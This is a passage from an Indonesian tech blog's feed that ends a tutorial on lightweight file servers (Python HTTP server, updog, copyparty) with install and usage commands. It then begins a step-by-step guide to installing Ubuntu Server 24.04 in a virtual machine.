loading=&quot;lazy&quot; width=&quot;1517&quot; height=&quot;810&quot; src=&quot;/_astro/ss6.CT1fIN23_1K4XKL.webp&quot; /&gt;&lt;figcaption&gt;Python Simple HTTP Server&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Ini lebih sederhana dan fleksibel dari apache2 karena kita tidak perlu memindahkan file ke satu lokasi tertentu agar bisa muncul dan diakses di web. Kita hanya perlu menghidupkan servernya dengan perintah tadi di direktori atau folder manapun yang kita inginkan.&lt;/p&gt;&lt;p&gt;Untuk mematikan servernya, tinggal tekan &lt;code&gt;Ctrl+c&lt;/code&gt; di keyboard.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;4. Updog&lt;a href=&quot;#4-updog&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/sc0tfree/updog&quot; target=&quot;_blank&quot;&gt;updog&lt;/a&gt; adalah alternatif dari Python Simple Http Server sebelumnya. Beberapa fitur yang ditambahkan pada program ini adalah fitur keamanan, artinya, kita juga bisa mengaktifkan mode https (http secure) alih-alih http saja, sehingga pertukaran paket kita menjadi lebih aman karena terkenkripsi.&lt;/p&gt;&lt;a href=&quot;https://github.com/sc0tfree/updog&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;sc0tfree&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;updog&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;section&gt;&lt;h4&gt;Installation&lt;a href=&quot;#installation-3&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;configuration.nix&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;python3Full&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;python3Full&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Banyak distro yang tidak menyediakan paket updog langsung di repo-nya (jangan tanya saya alasannya, saya juga ndak tahu). Tapi, kita masih dapat memasang updog dengan cara lain, yaitu menggunakan Python3. Jadi, itulah satu-satunya syarat untuk dapat meng-&lt;em&gt;install&lt;/em&gt; updog. Nah, berhubung cara memasang Python3 sudah saya jelaskan di bagian sebelumnya, jadi mari kita lanjutkan.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;WARNING&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;Perhatikan!&lt;/strong&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Python yang di-&lt;em&gt;install&lt;/em&gt; harus Python3, bukan versi Python2.&lt;/li&gt;
&lt;li&gt;Python yang di-&lt;em&gt;install&lt;/em&gt; harus Python3-full, bukan paket yang sebagian saja, agar paket &lt;code&gt;pip&lt;/code&gt; juga ikut terpasang.&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Atau alternatif instalasi yang lain adalah dengan langsung mengambil file &lt;em&gt;&lt;strong&gt;binary&lt;/strong&gt;&lt;/em&gt; dari repository github-nya langsung:&lt;br /&gt;
&lt;a href=&quot;https://github.com/sc0tfree/updog/releases/&quot; target=&quot;_blank&quot;&gt;https://github.com/sc0tfree/updog/releases/&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Berikut adalah langkah-langkah instalasi updog melalui &lt;code&gt;pip&lt;/code&gt;.&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Download paket &lt;code&gt;python3-full&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Buat environment python dengan perintah &lt;code&gt;python3 -m venv updog&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Aktivasi dengan perintah &lt;code&gt;python3 ./updog/bin/activate&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Unduh &lt;code&gt;updog&lt;/code&gt; dengan &lt;code&gt;pip&lt;/code&gt;, perintahnya: &lt;code&gt;./bin/pip install updog&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;How to use&lt;a href=&quot;#how-to-use-3&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Mirip dengan Python Simple HTTP Server, kita juga dapat menghidupkan web server dengan updog dimanapun kita ingin file-file tersebut dapat dibagikan. Jadi, kita tidak perlu memindahkan file ke direktori atau folder tertentu terlebih dahulu.&lt;/p&gt;&lt;p&gt;Perbedaannya, karena kita tadi meng-&lt;em&gt;install&lt;/em&gt; updog dengan &lt;code&gt;pip&lt;/code&gt;, file &lt;em&gt;binary&lt;/em&gt; updog kita akan terunduh di direktori &lt;code&gt;/updog/bin/updog&lt;/code&gt;. Oleh karena itu, kita harus merujuk ke &lt;em&gt;binary&lt;/em&gt; di lokasi atau direktori tersebut kapanpun kita memerlukan updog untuk berjalan. Misalnya, saya ada di direktori &lt;code&gt;~/Public&lt;/code&gt; dan ingin mengaktifkan web/file server di sana semenetara direktori updog saya ada di home &lt;code&gt;~/updog&lt;/code&gt;, maka perintah di terminalnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;./../updog/bin/updog&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Updog akan hidup dengan membuka port 9090 di localhost…&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;updog&quot; loading=&quot;lazy&quot; width=&quot;1691&quot; height=&quot;916&quot; src=&quot;/_astro/ss7.BvHgJZ6A_1E53kH.webp&quot; /&gt;&lt;figcaption&gt;updog&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat pada gambar di atas, 2 fitur unik lain updog dibanding ketiga web/file server sebelumnya adalah, fitur melihat file di browser tanpa harus mengunduhnya terlebih dahulu dan fitur upload. Artinya, kita tidak hanya dianggap sebagai “user pasif” yang hanya menerima/mengunduh file saja, tetapi juga dapat berkontribusi dengan memberikan file yang kita punya.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;5. Copyparty&lt;a href=&quot;#5-copyparty&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Ini adalah file server favorit saya: &lt;a href=&quot;https://github.com/9001/copyparty&quot; target=&quot;_blank&quot;&gt;Copyparty&lt;/a&gt;. Copyparty adalah program &lt;em&gt;open source&lt;/em&gt; yang ditulis menggunakan bahasa Python, khusus ditujukan sebagai file server. File server ini menjadi favorit saya karena kemudahan pemakaiannya, mulai dari instalasinya hingga ke fitur-fitur yang kaya di dalamnya.&lt;/p&gt;&lt;p&gt;Beberapa fitur yang menarik adalah, file server ini tidak hanya memungkinkan kita sebagai pengguna untuk mengunduh file saja, tetapi juga mengunggah file. Mirip seperti di updog. Selain itu, kita juga bisa membuka file di browser tanpa mengunduhnya terlebih dahulu, lagi-lagi, mirip fitur di updog? Tidak semuanya, karena kita juga ternyata bisa membuka file audio dan video juga di sini, bahkan ada audio playernya!&lt;/p&gt;&lt;p&gt;Keren?&lt;/p&gt;&lt;p&gt;Belum selesai. Kita juga bahkan bisa melakukan manajemen file di sini, seperti membuat file baru, mengganti nama file, menghapus file, dan memindahkan file dari satu direktori / folder ke folder lainnya. Copyparty juga bahkan memungkinkan kita melakukan semua itu dengan &lt;em&gt;shortcut-shortcut&lt;/em&gt; yang disediakan, jadi kita hanya perlu menyentuh keyboard saja! Masih banyak lagi fitur-fitur keren lainnya, seperti menampilkan progres &lt;em&gt;upload&lt;/em&gt;/&lt;em&gt;download&lt;/em&gt;, mengganti tema, menggunakan https, mengunduh banyak file dengan zip, dan lain-lain.&lt;/p&gt;&lt;p&gt;Yang lebih keren, itu semua dapat dilakukan di sistem operasi apapun (Windows, Linux, MacOS, Android, etc) hanya dengan sebuah script python!&lt;/p&gt;&lt;a href=&quot;https://github.com/9001/copyparty&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;9001&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;copyparty&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;section&gt;&lt;h4&gt;Instalasi&lt;a href=&quot;#instalasi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Instalasi copyparty sangat mudah. Kita hanya perlu meng-&lt;em&gt;install&lt;/em&gt; python di komputer kita dan sebuah script sederhana yang dapat diambil dari repository official copyparty yang sudah saya lampirkan di atas, atau langsung di sini:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/9001/copyparty/releases/latest/download/copyparty-sfx.py&quot; target=&quot;_blank&quot;&gt;https://github.com/9001/copyparty/releases/latest/download/copyparty-sfx.py&lt;/a&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Kita juga dapat melakukan instalasi copyparty dengan &lt;code&gt;pip&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Beberapa paket mungkin diperlukan di beberapa distro. (Silakan merujuk ke repo-nya).&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;How to use&lt;a href=&quot;#how-to-use-4&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Penggunaannya cukup mudah, kita jalankan saja script python tadi…&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;python3&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;copyparty-sfx.py&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kita akan disuguhkan &lt;em&gt;ip address&lt;/em&gt; berikut dengan port 3923 yang terbuka. Yang menarik, di terminal, kita juga akan diberikan qr code agar dapat lebih mudah diakses.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;copyparty&quot; loading=&quot;lazy&quot; width=&quot;1918&quot; height=&quot;1050&quot; src=&quot;/_astro/ss8.BUzONCuy_1pL6Rg.webp&quot; /&gt;&lt;figcaption&gt;copyparty&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Kalian percaya dengan kekerenan copyparty ini? Kalau enggak, coba sendiri deh…
Dijamin langsung terkesan.&lt;/p&gt;&lt;p&gt;Atau bisa nonton penjelasan (official)-nya tentang fitur-fitur copyparty dengan lebih detail dan komprehensif di video Youtube ini:&lt;/p&gt;
&lt;hr /&gt;&lt;p&gt;Artikel ini ditulis di Ubuntu 25.10.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Ubuntu 25.10 (Questing)&quot; loading=&quot;lazy&quot; width=&quot;3840&quot; height=&quot;2160&quot; src=&quot;/_astro/ubuntu25.10.D0hvo2KC_Z6gK0d.webp&quot; /&gt;&lt;figcaption&gt;Ubuntu 25.10 (Questing)&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Learn_web_development/Howto/Web_mechanics/What_is_a_web_server&quot; target=&quot;_blank&quot;&gt;https://developer.mozilla.org/en-US/docs/Learn_web_development/Howto/Web_mechanics/What_is_a_web_server&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.zenarmor.com/docs/network-basics/what-is-file-server&quot; target=&quot;_blank&quot;&gt;https://www.zenarmor.com/docs/network-basics/what-is-file-server&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.yanxurui.cc/posts/server/2017-03-21-NGINX-as-a-file-server/&quot; target=&quot;_blank&quot;&gt;https://www.yanxurui.cc/posts/server/2017-03-21-NGINX-as-a-file-server/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-5&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Python_(programming_language)&quot; target=&quot;_blank&quot;&gt;https://en.wikipedia.org/wiki/Python_(programming_language)&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.rumahweb.com/journal/python-adalah/&quot; target=&quot;_blank&quot;&gt;https://www.rumahweb.com/journal/python-adalah/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>How to Install Ubuntu Server?</title><link>https://shangdi.github.io/posts/tech/ubuntuserver/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/ubuntuserver/</guid><description>A step by step guide to Ubuntu Server installation as virtual machine.</description><pubDate>Sun, 21 Sep 2025 06:18:15 GMT</pubDate><content:encoded>&lt;p&gt;Saya akan mendemonstrasikan instalasi Ubuntu Server sebagai &lt;em&gt;virtual machine&lt;/em&gt; (VM). Versi Ubuntu yang saat ini saya gunakan adalah versi terbaru (setidaknya pada saat artikel ini ditulis), yaitu Ubuntu 24.04. Sebagai tambahan informasi, saya akan meng-&lt;em&gt;install&lt;/em&gt; Ubuntu ini sebagai VM di &lt;a href=&quot;https://abwildan.github.io/tech/virt-manager/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Virt-manager&lt;/strong&gt;&lt;/a&gt;. Namun, tidak akan ada perbedaan yang signifikan jika di-install di &lt;em&gt;&lt;strong&gt;hypervisor&lt;/strong&gt;&lt;/em&gt; yang lain, seperti &lt;a href=&quot;https://www.virtualbox.org/&quot; target=&quot;_blank&quot;&gt;Virtualbox&lt;/a&gt; atau &lt;a href=&quot;https://www.vmware.com/&quot; target=&quot;_blank&quot;&gt;VMWare&lt;/a&gt;. Jadi, silakan mengikuti tutorial… 😃&lt;/p&gt;
&lt;section&gt;&lt;h2&gt;Prerequisites&lt;a href=&quot;#prerequisites&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Beberapa persyaratan:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Sudah meng-&lt;em&gt;install&lt;/em&gt; salah satu &lt;em&gt;&lt;strong&gt;hypervisor&lt;/strong&gt;&lt;/em&gt;, baik Virt-manager, Virtualbox, VMWare, atau yang lain.&lt;/li&gt;
&lt;li&gt;Terhubung ke jaringan internet.&lt;/li&gt;
&lt;li&gt;Sudah mengunduh file “.iso” Ubuntu Server.&lt;/li&gt;
&lt;li&gt;Sudah membuat &lt;em&gt;virtual machine&lt;/em&gt; (VM) di &lt;em&gt;&lt;strong&gt;hypervisor&lt;/strong&gt;&lt;/em&gt; yang dimiliki.&lt;/li&gt;
&lt;li&gt;Memiliki pengetahuan yang cukup tentang jaringan internet.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Kelima persyaratan pendahuluan tersebut harus sudah dilakukan sebelum mengikuti tutorial ini, sebab kelima hal tersebut tidak akan dibahas dalam penjelasan instalasi Ubuntu Server di artikel ini.&lt;/p&gt;&lt;p&gt;Oiya, berikut adalah konfigurasi RAM, Storage, dan Network yang saya buat untuk VM Ubuntu Server ini:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;RAM:&lt;/strong&gt; 4 GB&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Storage:&lt;/strong&gt; 20 GB&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Network:&lt;/strong&gt; NAT (virtio)&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Satu lagi &lt;em&gt;disclaimer&lt;/em&gt; yang saya kira cukup penting, yaitu bahwa instalasi Ubuntu Server ini akan sedikit berbeda dibandingkan dengan instalasi Ubuntu Desktop, karena instalasi ini lebih banyak menggumakan CLI (&lt;em&gt;Command Line Interface&lt;/em&gt;) dibandingkan GUI (&lt;em&gt;Graphical User Interface&lt;/em&gt;) seperti yang terdapat di Ubuntu Desktop. Jadi, bila belum terbiasa dengan tampilan CLI, tidak perlu khawatir, kalian hanya perlu mengikuti panduan ini dengan baik agar proses instalasinya berjalan dengan lancar.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Installation&lt;a href=&quot;#installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;1. Selecting Language&lt;a href=&quot;#1-selecting-language&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Ketika pertama kali menjalankan VM, akan muncul &lt;em&gt;interface&lt;/em&gt; “default” linux, yaitu GRUB seperti gambar di bawah ini.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;GRUB Ubuntu Server&quot; loading=&quot;lazy&quot; width=&quot;1796&quot; height=&quot;939&quot; src=&quot;/_astro/ss1.Czps19KN_241wcq.webp&quot; /&gt;&lt;figcaption&gt;GRUB Ubuntu Server&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Pilih opsi yang paling atas, “Try or Install Ubuntu Server”.&lt;/p&gt;&lt;p&gt;Kemudian, biarkan beberapa proses berjalan hingga muncul tampilan baru untuk memilih bahasa seperti berikut:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;language options&quot; loading=&quot;lazy&quot; width=&quot;1511&quot; height=&quot;927&quot; src=&quot;/_astro/ss2.CFkXQmrQ_Z1bQzrQ.webp&quot; /&gt;&lt;figcaption&gt;language options&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Silakan dipilih berdasarkan preferensi masing-masing dengan cara menekan “Enter” pada bahasa yang diinginkan. Saya akan memilih bahasa Inggris (English).&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Keyboard Config&lt;a href=&quot;#2-keyboard-config&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kemudian, kita harus memilih jenis &lt;em&gt;layout&lt;/em&gt; &lt;em&gt;keyboard&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;keyboard configuration&quot; loading=&quot;lazy&quot; width=&quot;1507&quot; height=&quot;934&quot; src=&quot;/_astro/ss3.B7oCSwIR_28aKMO.webp&quot; /&gt;&lt;figcaption&gt;keyboard configuration&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Bagian ini dapat dibiarkan “default” seperti apa adanya.&lt;br /&gt;
Untuk melanjutkan, tekan “Enter”.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. Installation Type&lt;a href=&quot;#3-installation-type&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikutnya, kita perlu memilih jenis instalasi yang ingin dilakukan.&lt;br /&gt;
Ada 2 jenis instalasi yang ditawarkan pada Ubuntu versi 24.04 ini, yaitu:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Ubuntu Server&lt;/li&gt;
&lt;li&gt;Ubuntu Server (minimized)&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Perbedaan keduanya terletak pada jumlah aplikasi yang akan di-&lt;em&gt;install&lt;/em&gt; nanti oleh Ubuntu. Jika memilih opsi pertama, maka jumlah aplikasi atau paket yang di-&lt;em&gt;install&lt;/em&gt; akan lumayan banyak, namun, jika memilih opsi kedua, maka jumlah paket yang akan di-&lt;em&gt;install&lt;/em&gt; akan lebih sedikit.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;installation type&quot; loading=&quot;lazy&quot; width=&quot;1509&quot; height=&quot;940&quot; src=&quot;/_astro/ss4.D2bhk4uF_Z180DWj.webp&quot; /&gt;&lt;figcaption&gt;installation type&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Biarkan “default”. Tekan “Enter” untuk melanjutkan.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;4. Network Configuration&lt;a href=&quot;#4-network-configuration&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Langkah selanjutnya adalah mengkonfigurasi jaringan internet.&lt;br /&gt;
Jika kita sudah mengkonfigurasi jaringan VM ini sebelumnya di &lt;em&gt;&lt;strong&gt;hypervisor&lt;/strong&gt;&lt;/em&gt;, maka, opsi “default” pada bagian &lt;em&gt;network configuration&lt;/em&gt; ini akan mengikuti konfigurasi sebelumnya tersebut.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;network configuration&quot; loading=&quot;lazy&quot; width=&quot;1508&quot; height=&quot;939&quot; src=&quot;/_astro/ss5.C4Dx0SUI_VPzy9.webp&quot; /&gt;&lt;figcaption&gt;network configuration&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat pada gambar, jaringan internet pada VM saya ini akan menggunakan &lt;em&gt;interface&lt;/em&gt; &lt;strong&gt;eth0&lt;/strong&gt; (yang mana adalah &lt;em&gt;interface&lt;/em&gt; NAT) dengan &lt;em&gt;ip address&lt;/em&gt; seperti terlihat.&lt;/p&gt;&lt;p&gt;Jadi, biarkan “default”. Tekan “Enter” untuk melanjutkan.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;5. Proxy Configuration&lt;a href=&quot;#5-proxy-configuration&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Selanjutnya, kita diarahkan pada pengaturan proxy.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;proxy configuration&quot; loading=&quot;lazy&quot; width=&quot;1507&quot; height=&quot;941&quot; src=&quot;/_astro/ss6.CeDS3-Oy_12OcSJ.webp&quot; /&gt;&lt;figcaption&gt;proxy configuration&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Kita bisa biarkan kosong (default), dan melanjutkan ke tahap berikutnya.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;6. Mirror Configuration&lt;a href=&quot;#6-mirror-configuration&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Ini adalah bagian yang tidak kalah penting: mengkonfigurasi &lt;em&gt;repository mirror&lt;/em&gt; Ubuntu.&lt;br /&gt;
Bagian ini penting karena &lt;em&gt;repository&lt;/em&gt; atau biasa disingkat “repo” adalah tempat Ubuntu Server kita merujuk ketika ingin meng-&lt;em&gt;install&lt;/em&gt; paket/aplikasi/software atau ingin meng-&lt;em&gt;update&lt;/em&gt;-nya. Jadi, pastikan kalian memilih &lt;strong&gt;“repo” yang dapat diandalkan&lt;/strong&gt;, dalam artian:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;“repo” tersebut &lt;em&gt;up-to-date&lt;/em&gt; dan sering meng-&lt;em&gt;update&lt;/em&gt; paket-paket-nya.&lt;/li&gt;
&lt;li&gt;“repo” tersebut “dekat” sehingga memperlancar akses internet kalian.&lt;/li&gt;
